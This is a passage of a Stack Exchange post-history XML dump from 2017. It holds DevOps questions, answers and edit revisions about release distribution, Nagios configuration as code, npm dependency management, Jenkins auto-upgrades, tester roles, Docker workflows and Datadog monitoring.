  <row Id="4652" PostHistoryTypeId="2" PostId="1428" RevisionGUID="b93ee9e9-f2b9-49dd-ba5b-e70933e39c29" CreationDate="2017-06-26T14:32:11.320" UserId="707" Text="In DevOps, it is not always about just piciking the right tool, but understanding what is happening also in terms of the workflow. &#xD;&#xA;Interesting aspects are here delivered value (like saved time) and how the process can be scaled if you get more customers.&#xD;&#xA;&#xD;&#xA;Without knowing further details, I would suggest to investigate what your customer do after they have got the release.&#xD;&#xA;&#xD;&#xA;- Do they use it to install at their workplaces? In this case, customer-friendly mechanism is some sort of autoupdate through update site or providing a link to a CDN, content delivery network service (you just distribute your releases after all as binary content).&#xD;&#xA;- Or, are these customers technical users, like system engineers, who have to upload the releases which are actually *system components* to further FTP interfaces? Here you might want to find out whether it makes sense to investigate seamless integration with their content delivery pipeline.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4653" PostHistoryTypeId="5" PostId="1428" RevisionGUID="28ade4f4-a8d1-4e2f-a7ec-d820db8d6e8c" CreationDate="2017-06-26T14:41:31.690" UserId="707" Comment="added 1 character in body" Text="In DevOps, it is not always about just piciking the right tool, but understanding what is happening also in terms of the workflow. &#xD;&#xA;Interesting aspects are here delivered value (like saved time) and how the process can be scaled if you get more customers.&#xD;&#xA;&#xD;&#xA;Without knowing further details, I would suggest to investigate what your customers do after they have got the release.&#xD;&#xA;&#xD;&#xA;- Do they use it to install at their workplaces? In this case, customer-friendly mechanism is some sort of autoupdate through update site or providing a link to a CDN, content delivery network service (you just distribute your releases after all as binary content).&#xD;&#xA;- Or, are these customers technical users, like system engineers, who have to upload the releases which are actually *system components* to further FTP interfaces? Here you might want to find out whether it makes sense to investigate seamless integration with their content delivery pipeline.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4654" PostHistoryTypeId="5" PostId="1428" RevisionGUID="7f5a6e25-c625-4af9-905d-35a61fdedebd" CreationDate="2017-06-26T14:43:15.540" UserId="707" Comment="added 1 character in body" Text="In DevOps, it is not always about just piciking the right tool, but understanding what is happening also in terms of the workflow. &#xD;&#xA;Interesting aspects are here delivered value (like saved time) and how the process can be scaled if you get more customers.&#xD;&#xA;&#xD;&#xA;Without knowing further details, I would suggest to investigate what your customers do after they have got the release.&#xD;&#xA;&#xD;&#xA;- Do they use it to install at their workplaces? In this case, customer-friendly mechanism is some sort of autoupdate through update site or providing a link to a CDN, content delivery network service (you just distribute your releases after all as *binary content*).&#xD;&#xA;&#xD;&#xA;- Or, are these customers technical users, like system engineers, who have to upload the releases which are actually *system components* to further FTP interfaces? Here you might want to find out whether it makes sense to investigate seamless integration with their content delivery pipeline.&#xD;&#xA;&#xD;&#xA;- Or, are these releases *executable installers*? In this case, you might consider something either like a Bamboo Deploy Plan or integration with customers' configuration as code system (like Chef or Puppet).&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4655" PostHistoryTypeId="5" PostId="1421" RevisionGUID="fca767de-da60-4718-98ca-6f22693ea6e2" CreationDate="2017-06-26T14:45:35.390" UserId="707" Comment="added 160 characters in body" Text="If Nagios server would use a CaSC source of configuration in a larger organization is there a design flaw in this approach which will limit scaling up?&#xD;&#xA;&#xD;&#xA;To avoid broken configuration, test instances of Nagios could be validated in a CI environment.&#xD;&#xA;&#xD;&#xA;Usage scenario: imagine a central Nagios service with more users than you want to be able to break it, who would like to add their services for monitoring." ContentLicense="CC BY-SA 3.0" />
  <row Id="4656" PostHistoryTypeId="2" PostId="1429" RevisionGUID="aaa3072a-4ef6-49ce-af18-c5183fb4adaf" CreationDate="2017-06-26T14:50:40.877" UserId="47" Text="Personally I don't think using CasC itself will have any negative scalability impact.&#xD;&#xA;&#xD;&#xA;Fundamentally CasC means the actual config files are not hand-maintaned, instead they're auto-generated following version-controlled rules - which can be a lot more reliable.&#xD;&#xA;&#xD;&#xA;But once the config files are generated - the service using them functions just as it dit with manually-crafted config files.&#xD;&#xA;&#xD;&#xA;If anything - using CasC should make such large nagios system more reliable - if done correctly CasC should reduce/eliminate the risk of human error in modifying the config files.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4657" PostHistoryTypeId="6" PostId="1421" RevisionGUID="cd577f02-e91a-4358-a8fd-ca45ac324113" CreationDate="2017-06-26T14:55:21.957" UserId="47" Comment="added casc tag" Text="&lt;nagios&gt;&lt;scalability&gt;&lt;casc&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4658" PostHistoryTypeId="2" PostId="1430" RevisionGUID="35d6f936-1e0d-49a8-bfb0-f9c8f1007c77" CreationDate="2017-06-26T14:57:07.857" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="4659" PostHistoryTypeId="1" PostId="1430" RevisionGUID="35d6f936-1e0d-49a8-bfb0-f9c8f1007c77" CreationDate="2017-06-26T14:57:07.857" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4660" PostHistoryTypeId="2" PostId="1431" RevisionGUID="32e77e3a-e64b-420c-9fe9-9170bd4e9745" CreationDate="2017-06-26T14:57:07.857" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="4661" PostHistoryTypeId="1" PostId="1431" RevisionGUID="32e77e3a-e64b-420c-9fe9-9170bd4e9745" CreationDate="2017-06-26T14:57:07.857" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4662" PostHistoryTypeId="6" PostId="3" RevisionGUID="7e28ffc6-edc2-4468-bfa2-1c6529e79505" CreationDate="2017-06-26T15:16:01.633" UserId="739" Comment="add terminology tag" Text="&lt;continuous-integration&gt;&lt;terminology&gt;&lt;automation&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4663" PostHistoryTypeId="24" PostId="3" RevisionGUID="7e28ffc6-edc2-4468-bfa2-1c6529e79505" CreationDate="2017-06-26T15:16:01.633" Comment="Proposed by 739 approved by 47, 40 edit id of 372" ContentLicense="CC BY-SA 3.0" />
  <row Id="4664" PostHistoryTypeId="5" PostId="1415" RevisionGUID="275d52f3-b57b-4e0b-9a6b-c74987b0b214" CreationDate="2017-06-26T16:44:41.223" UserId="3062" Comment="reworded to be one click deploy as that is the topic of the question with building being another topic" Text="So one of the goals of a software company is to have one click deploy.  I think this is a major responsibility of the dev ops team.  Whether or not it is should be reserved for another conversation.  My question is that our company has multiple individual artifacts that make up a release.  Should the developers be able to one click deploy all these artifacts at once, or should each artifact be deployed individually?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4665" PostHistoryTypeId="4" PostId="1415" RevisionGUID="275d52f3-b57b-4e0b-9a6b-c74987b0b214" CreationDate="2017-06-26T16:44:41.223" UserId="3062" Comment="reworded to be one click deploy as that is the topic of the question with building being another topic" Text="Scope for one click deploy" ContentLicense="CC BY-SA 3.0" />
  <row Id="4666" PostHistoryTypeId="2" PostId="1432" RevisionGUID="8b08c643-f723-438d-9948-0b26884330fe" CreationDate="2017-06-26T17:11:12.077" UserId="707" Text="Strange enough node.js unlikely maven caches the packages inside the project directory.&#xD;&#xA;&#xD;&#xA;Does this have implications for Continuous Delivery? I.e. is a system-wide cache possible? (similar to maven settings.xml in user profile)" ContentLicense="CC BY-SA 3.0" />
  <row Id="4667" PostHistoryTypeId="1" PostId="1432" RevisionGUID="8b08c643-f723-438d-9948-0b26884330fe" CreationDate="2017-06-26T17:11:12.077" UserId="707" Text="Dependency management with npm" ContentLicense="CC BY-SA 3.0" />
  <row Id="4668" PostHistoryTypeId="3" PostId="1432" RevisionGUID="8b08c643-f723-438d-9948-0b26884330fe" CreationDate="2017-06-26T17:11:12.077" UserId="707" Text="&lt;node&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4669" PostHistoryTypeId="6" PostId="1432" RevisionGUID="d5b8fa87-77af-47f9-ad00-2fdc89e29a64" CreationDate="2017-06-26T19:17:39.223" UserId="14" Comment="Node is likely to be ambiguous" Text="&lt;node.js&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4670" PostHistoryTypeId="2" PostId="1433" RevisionGUID="e1a2fea7-b519-4032-b4c4-9ad89fb3eddd" CreationDate="2017-06-26T19:55:05.083" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="4671" PostHistoryTypeId="1" PostId="1433" RevisionGUID="e1a2fea7-b519-4032-b4c4-9ad89fb3eddd" CreationDate="2017-06-26T19:55:05.083" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4672" PostHistoryTypeId="2" PostId="1434" RevisionGUID="1980f394-3bc3-4b80-93c0-6264481822cf" CreationDate="2017-06-26T19:55:05.083" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="4673" PostHistoryTypeId="1" PostId="1434" RevisionGUID="1980f394-3bc3-4b80-93c0-6264481822cf" CreationDate="2017-06-26T19:55:05.083" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4674" PostHistoryTypeId="2" PostId="1435" RevisionGUID="c8c1cb55-53b1-49da-8ac0-8c7ed654f07c" CreationDate="2017-06-26T20:00:03.997" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="4675" PostHistoryTypeId="1" PostId="1435" RevisionGUID="c8c1cb55-53b1-49da-8ac0-8c7ed654f07c" CreationDate="2017-06-26T20:00:03.997" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4676" PostHistoryTypeId="2" PostId="1436" RevisionGUID="6b135807-267e-4848-9165-54b79ba44780" CreationDate="2017-06-26T20:00:03.997" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="4677" PostHistoryTypeId="1" PostId="1436" RevisionGUID="6b135807-267e-4848-9165-54b79ba44780" CreationDate="2017-06-26T20:00:03.997" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="4678" PostHistoryTypeId="5" PostId="1431" RevisionGUID="5c64c0ab-4351-4b3d-9109-57a75af2abe3" CreationDate="2017-06-26T22:40:43.677" UserId="47" Comment="added 48 characters in body" Text="For questions about Configuration as Code (CasC)" ContentLicense="CC BY-SA 3.0" />
  <row Id="4679" PostHistoryTypeId="24" PostId="1431" RevisionGUID="5c64c0ab-4351-4b3d-9109-57a75af2abe3" CreationDate="2017-06-26T22:40:43.677" Comment="Proposed by 47 approved by 40, 6 edit id of 373" ContentLicense="CC BY-SA 3.0" />
  <row Id="4680" PostHistoryTypeId="5" PostId="1436" RevisionGUID="626342b9-b2d2-43c4-9547-9e659203b849" CreationDate="2017-06-26T22:41:07.413" UserId="3282" Comment="added 167 characters in body" Text="Load-balancing is the practice of distributing workloads or data between segregated services to provide improved reliability and increased performance characteristics." ContentLicense="CC BY-SA 3.0" />
  <row Id="4681" PostHistoryTypeId="24" PostId="1436" RevisionGUID="626342b9-b2d2-43c4-9547-9e659203b849" CreationDate="2017-06-26T22:41:07.413" Comment="Proposed by 3282 approved by 40, 6 edit id of 375" ContentLicense="CC BY-SA 3.0" />
  <row Id="4682" PostHistoryTypeId="5" PostId="1434" RevisionGUID="3914262b-cc22-4ee5-b6f6-2c9ea3eead20" CreationDate="2017-06-26T22:41:20.507" UserId="3282" Comment="added 324 characters in body" Text="F5 manufactures the BIG-IP series of application delivery controllers and security solutions. The BIG-IP's feature sets are concerned with making applications run fast, highly-available, and secure. Their additional products, BIG-IQ Management solutions and iWorkflow are designed to manage and automate the BIG-IP products." ContentLicense="CC BY-SA 3.0" />
  <row Id="4683" PostHistoryTypeId="24" PostId="1434" RevisionGUID="3914262b-cc22-4ee5-b6f6-2c9ea3eead20" CreationDate="2017-06-26T22:41:20.507" Comment="Proposed by 3282 approved by 40, 6 edit id of 374" ContentLicense="CC BY-SA 3.0" />
  <row Id="4687" PostHistoryTypeId="2" PostId="1438" RevisionGUID="af491f07-c92a-42e5-a936-b830befc9d6b" CreationDate="2017-06-27T07:54:49.893" UserId="3245" Text="Yes, it is possible. In Windows, this is what I see when there is a new version available:&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;When you click the Upgrade Automatically button, Jenkins downloads and install the new war file itself.&#xD;&#xA;&#xD;&#xA;Please, check [Jenkins wiki][3] for further details. There are some problems if you installed Jenkins from a Debian package.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/Qn2C4.png&#xD;&#xA;  [3]: https://wiki.jenkins.io/display/JENKINS/Automated+Upgrade" ContentLicense="CC BY-SA 3.0" />
  <row Id="4688" PostHistoryTypeId="5" PostId="1432" RevisionGUID="aeb4512d-2740-4973-8038-93b006f9a1fc" CreationDate="2017-06-27T08:19:09.283" UserId="707" Comment="added 21 characters in body" Text="Strange enough node.js unlikely maven installs the packages the software needs inside the project directory.&#xD;&#xA;&#xD;&#xA;Does this have implications for Continuous Delivery? I.e. is a system-wide cache possible? (similar to maven settings.xml in user profile)" ContentLicense="CC BY-SA 3.0" />
  <row Id="4689" PostHistoryTypeId="2" PostId="1439" RevisionGUID="5d0599c9-911e-40a3-85ef-7779525d9eef" CreationDate="2017-06-27T08:47:34.247" UserId="707" Text="&#xD;&#xA;I have found this picture in a comment to this [Reddit thread][1] and would like to better understand its message. I do not know the image's original source, maybe it will come up later.&#xD;&#xA;&#xD;&#xA;[![What the hell have you built.][2]][2]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.reddit.com/r/devops/comments/6ingg5/why_is_the_docker_mind_shift_so_hard/&#xD;&#xA;  [2]: https://i.stack.imgur.com/rO8EI.png" ContentLicense="CC BY-SA 3.0" />
  <row Id="4690" PostHistoryTypeId="1" PostId="1439" RevisionGUID="5d0599c9-911e-40a3-85ef-7779525d9eef" CreationDate="2017-06-27T08:47:34.247" UserId="707" Text="What is the message of this picture?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4691" PostHistoryTypeId="3" PostId="1439" RevisionGUID="5d0599c9-911e-40a3-85ef-7779525d9eef" CreationDate="2017-06-27T08:47:34.247" UserId="707" Text="&lt;culture&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4692" PostHistoryTypeId="2" PostId="1440" RevisionGUID="e503dd0c-6c34-44cf-b142-fa035ae65eae" CreationDate="2017-06-27T09:07:41.123" UserId="707" Text="Aside other questions I believe the following answer is yet missing - I want to summarize what I have learned so far in a mostly humble tone:&#xD;&#xA;&#xD;&#xA;Introducing DevOps skills to your team is probably not enough (that is to consider that you cannot hire a DevOps)! (Like asking on a lower level what are best tools to make things work, here you seem to want your organization work).&#xD;&#xA;&#xD;&#xA;The real question is: what is your oganizations digital transformation strategy and **how much good DevOps will help you to create more customer value and reduce your costs**, still having a good climate?&#xD;&#xA;&#xD;&#xA;DevOps reveals the need for change, and change requires taking responsibility.&#xD;&#xA;&#xD;&#xA;Imagine a situation were working DevOps might introduce pressure on other teams. DevOps is sometimes a result of evolution from Agile and Continous Integration - what are your assets here?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4693" PostHistoryTypeId="5" PostId="1438" RevisionGUID="819994c4-0f1e-440a-a92e-2dd5400587cd" CreationDate="2017-06-27T09:54:51.453" UserId="3" Comment="Expands the answer based on the link." Text="Yes, it is possible. In Windows, this is what I see when there is a new version available:&#xD;&#xA;[![enter image description here][1]][1]&#xD;&#xA;&#xD;&#xA;When you click the Upgrade Automatically button, Jenkins downloads and install the new war file itself.&#xD;&#xA;&#xD;&#xA;Please, check [Jenkins wiki][3] for further details. There are some problems if you installed Jenkins from a Debian package.&#xD;&#xA;&#xD;&#xA;&gt; If you run Jenkins with `java -jar jenkins.war`, Jenkins will be able to update itself from the Manage Jenkins page. This is the simplest way to do automatic upgrades.&#xD;&#xA;&#xD;&#xA;### *nix/Mac&#xD;&#xA;&#xD;&#xA;&gt; If you've installed via the OS X installer, the `jenkins` running the process does not own the `.war` file. **To get auto-upgrade working, just fix the permissions so the `jenkins` user can write the WAR** (in `/Applications/Jenkins`).&#xD;&#xA;&#xD;&#xA;### Debian Package&#xD;&#xA;&#xD;&#xA;&gt; Using the Upgrade-Button from within Jenkins (available since 1.318) will not work if Jenkins was installed from a Debian package (results in permission denied errors when trying to download the new WAR file)!&#xD;&#xA;&#xD;&#xA;### Windows Auto-Upgrade&#xD;&#xA;&#xD;&#xA;&gt; If you install Jenkins as a Windows service, Jenkins will be able to update itself from the *Manage Jenkins* page.&#xD;&#xA;&#xD;&#xA;  [1]: https://i.stack.imgur.com/Qn2C4.png&#xD;&#xA;  [3]: https://wiki.jenkins.io/display/JENKINS/Automated+Upgrade" ContentLicense="CC BY-SA 3.0" />
  <row Id="4694" PostHistoryTypeId="2" PostId="1441" RevisionGUID="06d4b106-89d1-4ad9-936c-cd74f5b46a80" CreationDate="2017-06-27T11:14:54.657" UserId="707" Text="If the new paradigm is &quot;You build it, you run it&quot; (Werner Voegels, Amazon CTO) which obviously puts much more responsibility - and pressure - on software engineers, what does this change introduce to the task of the test team?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4695" PostHistoryTypeId="1" PostId="1441" RevisionGUID="06d4b106-89d1-4ad9-936c-cd74f5b46a80" CreationDate="2017-06-27T11:14:54.657" UserId="707" Text="What is the future role of tester?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4696" PostHistoryTypeId="3" PostId="1441" RevisionGUID="06d4b106-89d1-4ad9-936c-cd74f5b46a80" CreationDate="2017-06-27T11:14:54.657" UserId="707" Text="&lt;culture&gt;&lt;testing&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4697" PostHistoryTypeId="2" PostId="1442" RevisionGUID="53e484a7-712f-4a0d-bd1d-bc3f8d9e539f" CreationDate="2017-06-27T11:39:51.487" UserId="13" Text="&gt;  &quot;You build it, you run it&quot;&#xD;&#xA;&#xD;&#xA;This quote aim at giving emphase on the break between silo teams, one the principle of devops is to avoid silo achieving one task.  &#xD;&#xA;While the idea here focus on the build and run phases, the important idea is to bring a whole team together, from architecture to exploitation **roles**. A &quot;Devops Team&quot; would be made of all roles taking part in the software life-cycle, including tester role, with no-one in the team handling a single role. &#xD;&#xA;&#xD;&#xA;The main change for a tester would be to learn to voice his/her opinions and feedback on the plan phase in an agile team and probably to take part in some operational tasks.&#xD;&#xA;&#xD;&#xA;But all in all, there's no exact rule, what someone previously in a silo would do in a &quot;Devops team&quot; depends on what he/she is more interested in and comfortable to do. That's one of the challenge of a newly created team, spot the best abilities of everyone to share the load on the most efficient way.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4698" PostHistoryTypeId="2" PostId="1443" RevisionGUID="c042679c-0853-4b7f-bc63-46ebc9c29288" CreationDate="2017-06-27T12:14:15.870" UserId="707" Text="Karma is a nodejs tool to automate browser testing. It seems that it depends on nodejs plugin fsevents.&#xD;&#xA;&#xD;&#xA;But, fsevents is for processing Mac OS X events, therefore I get the error &quot;not supported on your system&quot; for the phantom karma launcher.&#xD;&#xA;&#xD;&#xA;Questions I have found on GitHub seem to come from other Mac OS users dealing with upgrading npm.&#xD;&#xA;&#xD;&#xA;My question is: how to install karma launcher in headless ubuntu/docker context?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4699" PostHistoryTypeId="1" PostId="1443" RevisionGUID="c042679c-0853-4b7f-bc63-46ebc9c29288" CreationDate="2017-06-27T12:14:15.870" UserId="707" Text="Installing phantomjs karma launcher in Ubuntu-Docker context" ContentLicense="CC BY-SA 3.0" />
  <row Id="4700" PostHistoryTypeId="3" PostId="1443" RevisionGUID="c042679c-0853-4b7f-bc63-46ebc9c29288" CreationDate="2017-06-27T12:14:15.870" UserId="707" Text="&lt;testing&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4701" PostHistoryTypeId="2" PostId="1444" RevisionGUID="956048a7-9463-4692-9dc1-b2836e6e3073" CreationDate="2017-06-27T12:29:53.823" UserId="707" Text="Because fsevents is an optional dependency, the solution has been here:&#xD;&#xA;&#xD;&#xA;    npm install --no-optional karma-chrome-launcher" ContentLicense="CC BY-SA 3.0" />
  <row Id="4702" PostHistoryTypeId="5" PostId="1432" RevisionGUID="38eb0502-7186-4e5e-8f2a-5d11eff7a932" CreationDate="2017-06-27T12:57:46.033" UserId="707" Comment="added 40 characters in body; edited title" Text="Strange enough node.js unlikely maven installs the packages the software needs inside the project directory.&#xD;&#xA;&#xD;&#xA;Is there a way to introduce a central repository which also caches different versions of components and would allow to pull them on build like we know it from other ecosystems?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4703" PostHistoryTypeId="4" PostId="1432" RevisionGUID="38eb0502-7186-4e5e-8f2a-5d11eff7a932" CreationDate="2017-06-27T12:57:46.033" UserId="707" Comment="added 40 characters in body; edited title" Text="How does dependency management for Node.js differ from Maven?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4704" PostHistoryTypeId="5" PostId="1444" RevisionGUID="f1898a51-cfea-4f56-8eb5-108019dc257f" CreationDate="2017-06-27T12:58:29.610" UserId="707" Comment="added 4 characters in body" Text="Because fsevents is an optional dependency, the solution has been here:&#xD;&#xA;&#xD;&#xA;    npm install --no-optional karma-phantom-js-launcher" ContentLicense="CC BY-SA 3.0" />
  <row Id="4705" PostHistoryTypeId="2" PostId="1445" RevisionGUID="01cc318e-d53c-49fb-bad3-d744f6868269" CreationDate="2017-06-27T13:20:27.020" UserId="707" Text="Maybe the whole setup is wrong but imagine your task is to model a system, or set of systems using Docker, where exact system configuraton can be tricky.&#xD;&#xA;&#xD;&#xA;The workflow resulting from it seems like series of making small changes, waiting analysing logs,changes, waiting.. seems like during an hour work you could manage several iterations, but waiting is mind-boggling, though it already takes place on top of base images and inside-container work is done as well to try out things. Additionally, often this work can block many others.&#xD;&#xA;&#xD;&#xA;Question: how to speed up this process? Do you guys use powerful appliances to reduce the cycle periods which is in term of lean manufacturing a clear *waste* given cost of systems compated to human time (imagine any change would be fire back always in just one second)? Or is the workflow wrong?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4706" PostHistoryTypeId="1" PostId="1445" RevisionGUID="01cc318e-d53c-49fb-bad3-d744f6868269" CreationDate="2017-06-27T13:20:27.020" UserId="707" Text="1 second system engineering work cycles: educated workflow setup for Docker-development" ContentLicense="CC BY-SA 3.0" />
  <row Id="4707" PostHistoryTypeId="3" PostId="1445" RevisionGUID="01cc318e-d53c-49fb-bad3-d744f6868269" CreationDate="2017-06-27T13:20:27.020" UserId="707" Text="&lt;systems&gt;&lt;workflow&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4708" PostHistoryTypeId="5" PostId="1444" RevisionGUID="adaf3fe4-6779-48e2-b9ae-f6d299eabee8" CreationDate="2017-06-27T13:31:13.320" UserId="707" Comment="deleted 1 character in body" Text="Because fsevents is an optional dependency, the solution has been here:&#xD;&#xA;&#xD;&#xA;    npm install --no-optional karma-phantomjs-launcher" ContentLicense="CC BY-SA 3.0" />
  <row Id="4710" PostHistoryTypeId="2" PostId="1446" RevisionGUID="fe6f2df3-ed19-4ba4-b3da-b7790a835f1f" CreationDate="2017-06-27T14:50:47.547" UserId="47" Text="IMHO that depends on what the role of the tester was before such transformation. BTW, I believe my answer applies to the DevOps transformation in general, not only to the `You build it, you run it` paradigm.&#xD;&#xA;&#xD;&#xA;If the role was a drone job - mindlessly executing tests - it's bound to go away, automation will eat such jobs. &#xD;&#xA;&#xD;&#xA;If the role included writing the test plans and specifications they could continue to do that or even morph into writing the corresponding automation scripts, side-by-side with the developers. Or standalone - in some environments it is mandatory to use a completely separate methodology/infrastructure/personnel for testing than the one(s) used for development. In many organisations testers are software engineers, just as developers.&#xD;&#xA;&#xD;&#xA;If the role was executing intentionally unreliable/surprise tests, specifically requiring human traits (emotion, subjectivity, inspiration, reflexes, intuition, etc) to complement automated testing - that also won't change." ContentLicense="CC BY-SA 3.0" />
  <row Id="4711" PostHistoryTypeId="2" PostId="1447" RevisionGUID="f99af853-9af3-4f50-91ef-6092c2fc217f" CreationDate="2017-06-27T15:05:17.407" UserId="47" Text="In some cases, depending on the actual configurations being targeted, it *might* be possible to try the effect of various changes *live*, using other automation tools, and only update the docker images (which acounts for a big chunk of that waiting time) after the bulk of the config changes are eliminated.&#xD;&#xA;&#xD;&#xA;Stabilizing first the common/base docker image used across most/all of the candidate variants and sharing it would also help." ContentLicense="CC BY-SA 3.0" />
  <row Id="4712" PostHistoryTypeId="5" PostId="1445" RevisionGUID="372daf92-fd98-4b7f-8834-de3fe103292e" CreationDate="2017-06-27T15:07:19.883" UserId="47" Comment="fixed typos, improved readability" Text="Maybe the whole setup is wrong but imagine your task is to model a system, or set of systems using Docker, where exact system configuraton can be tricky.&#xD;&#xA;&#xD;&#xA;The workflow resulting from it seems like series of making small changes, waiting to analysing logs, changes, waiting... It seems like during an hour of work you could manage several iterations, but waiting is mind-boggling, though it already takes place on top of base images and inside-container work is done as well to try out things. Additionally, often this work can block many others.&#xD;&#xA;&#xD;&#xA;Question: how to speed up this process? Do you guys use powerful appliances to reduce the cycle periods which is in term of lean manufacturing a clear *waste* given cost of systems compared to human time (imagine any change would be fire back always in just one second)? Or is the workflow wrong?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4713" PostHistoryTypeId="2" PostId="1448" RevisionGUID="55d04d01-b18a-4f99-a75a-2a51000565d1" CreationDate="2017-06-27T16:23:25.240" UserId="707" Text="Imagine that a Maven POM configures a set of integration tests for web apps (could be a functional test as well). &#xD;&#xA;&#xD;&#xA; - in developer context, you would clearly use Chrome and configure that accordingly&#xD;&#xA; - in the CI, you want a headless test with another browser driver&#xD;&#xA;&#xD;&#xA;Same would be if you decide to configure all fixed dependencies' versions in on place, and for a specific stage/release.&#xD;&#xA;&#xD;&#xA;For such cases, what is the best strategy to have environment-specific POM properties files for Maven, and is it a good approach?&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4714" PostHistoryTypeId="1" PostId="1448" RevisionGUID="55d04d01-b18a-4f99-a75a-2a51000565d1" CreationDate="2017-06-27T16:23:25.240" UserId="707" Text="Different execution contexts for same POM - use properties files?" ContentLicense="CC BY-SA 3.0" />
  <row Id="4715" PostHistoryTypeId="3" PostId="1448" RevisionGUID="55d04d01-b18a-4f99-a75a-2a51000565d1" CreationDate="2017-06-27T16:23:25.240" UserId="707" Text="&lt;continuous-integration&gt;&lt;automation&gt;&lt;maven&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="4716" PostHistoryTypeId="2" PostId="1449" RevisionGUID="5528ba7c-5527-47aa-aa16-c94c372cbfd4" CreationDate="2017-06-27T17:39:22.693" UserId="3295" Text="We use Datadog, with metrics pushed from important operational processes using the `statsd` protocol ( http://docs.datadoghq.com/guides/metrics/ ), so we aren't too deeply tied to Datadog on the application side.&#xD;&#xA;&#xD;&#xA;In Datadog's interface we can then configure monitors to alert on any number of things, including anomaly detection if defining thresholds is impossible.&#xD;&#xA;&#xD;&#xA;So for instance, we have many tasks that run on a hourly basis, they'll post a datapoint to a given metric (`app.task.task_name`), and we will then monitor that this metric is consistently posting at one data point per hour. If the rate changes, we get alerted." ContentLicense="CC BY-SA 3.0" />
  <row Id="4717" PostHistoryTypeId="2" PostId="1450" RevisionGUID="cfe7e331-8edb-4d52-8d23-ec69d95db43e" CreationDate="2017-06-27T17:44:52.483" UserId="2845" Text="DevOps applies to Organization Type 2, the Business to Business entity as much if not more than the first Organization type. There are two possible scenarios here:&#xD;&#xA;&#xD;&#xA;**Scenario 1** &#xD;&#xA;&#xD;&#xA;In the first they are selling a product or service to businesses. In terms of DevOps, this makes them virtually indistinguishable from Organization Type 1. Though their customer is a business/group of individuals, they are providing a product or service to a customer. This customer just happens to be a business instead of a private individual, this is is irrelevant to execution of DevOps. Contracted with specific software goals, clearly defined requirement or otherwise, the best value and customer service will be provided by a DevOps model for reasons that do not need to be restated here.&#xD;&#xA;&#xD;&#xA;**Scenario 2**&#xD;&#xA;&#xD;&#xA;This scenario happens to be a bit more exceptional as in this case, Organization Type 2 is providing consulting services to a business. Presumably and usually, a business hires a consultant for *business* assistance within the consultant's domain of expertise. Businesses have technical support for assistance with specific technologies and can contract en engineer for migrations, but when issues such as risk management, overall architectural design, process, flow and high-level questions arise, this is when a consultant is hired for their *business* advice.&#xD;&#xA;&#xD;&#xA;This is why it is important to remember that [DevOps is not a role](https://devops.stackexchange.com/a/806/2845). I would argue that DevOps represents a business or organizational management processes - or even a philosophy. It is more or less a specific way of implementing an [agile methodology](https://en.wikipedia.org/wiki/Agile_management) that has been extended well beyond just development to encompass many disciplines and departments. As such, DevOps is a package deal - in order to be successful at DevOps, you have to be committed to a specific business philosophy of organizational management.&#xD;&#xA;&#xD;&#xA;In fact, in order to illustrate this point, In &quot;[The Phoenix Project](https://www.amazon.com/Phoenix-Project-DevOps-Helping-Business/dp/0988262509/ref=sr_1_1?ie=UTF8&amp;qid=1498578506&amp;sr=8-1&amp;keywords=Phoenix+Project)&quot;, Board member Erik Reid repeatedly drags the Book's main character, Bill Palmer, to a parts manufacturing plant in order to illustrate and teach Bill things about technology and software development by drawing business lessons from the manufacturing sector.&#xD;&#xA;&#xD;&#xA;This is authors Gene Kim, Kevin Behr and George Spafford's way of driving home the point that DevOps is more than just way of doing things, or specific technologies, but is a philosophy of business simply known by various nom de plumes.&#xD;&#xA;&#xD;&#xA;So, in order to provide the best value to the company to which a consultant is consulting, it is incumbent upon the consultant to demonstrate and explain the value of DevOps and assist a company in successfully executing on this business philosophy and guide the company to specific technologies and ways of doing that. In short, it is the consulting companies job to act as an &quot;Erik Reid&quot; to whatever business has contracted their consulting services.&#xD;&#xA;&#xD;&#xA;In short, DevOps should be very important to Organization Type 2 because it is their job as a consultant to explain to their customer why it is important - they should *always* be selling DevOps consulting. Consultants working with a company who refuses to consider 